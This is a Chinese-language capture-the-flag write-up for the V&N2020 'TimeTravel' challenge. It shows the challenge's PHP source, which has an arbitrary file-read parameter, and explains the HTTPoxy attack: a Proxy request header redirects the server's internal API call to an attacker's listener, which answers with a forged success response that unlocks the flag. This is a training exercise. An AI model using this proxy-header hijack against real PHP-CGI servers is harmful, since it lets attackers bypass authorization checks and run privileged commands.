[V&N2020 公开赛]TimeTravel


error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}

if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
    phpinfo();
}

在这里插入图片描述
直接搜这个东西有啥漏洞,HTTPPROXY漏洞
从文章中得知
在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量

去phpinfo里看看是不是CGI模式
在这里插入图片描述
得知以下信息
PHP logo
PHP Version 5.6.23

服务器是nginx
在这里插入图片描述
估计得用到内网靶机,但是payload我不晓得咋写,参考了师傅们的

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

通过监听篡改请求头信息,让success=true,从而拿到flag

将上面的payload复制到内网靶机上,再监听
在这里插入图片描述
把Proxy请求头传入(不知道为啥我的bp传http头得全部小写才行的通)
[V&N2020 公开赛]TimeTravel_第1张图片

你可能感兴趣的:([V&N2020 公开赛]TimeTravel)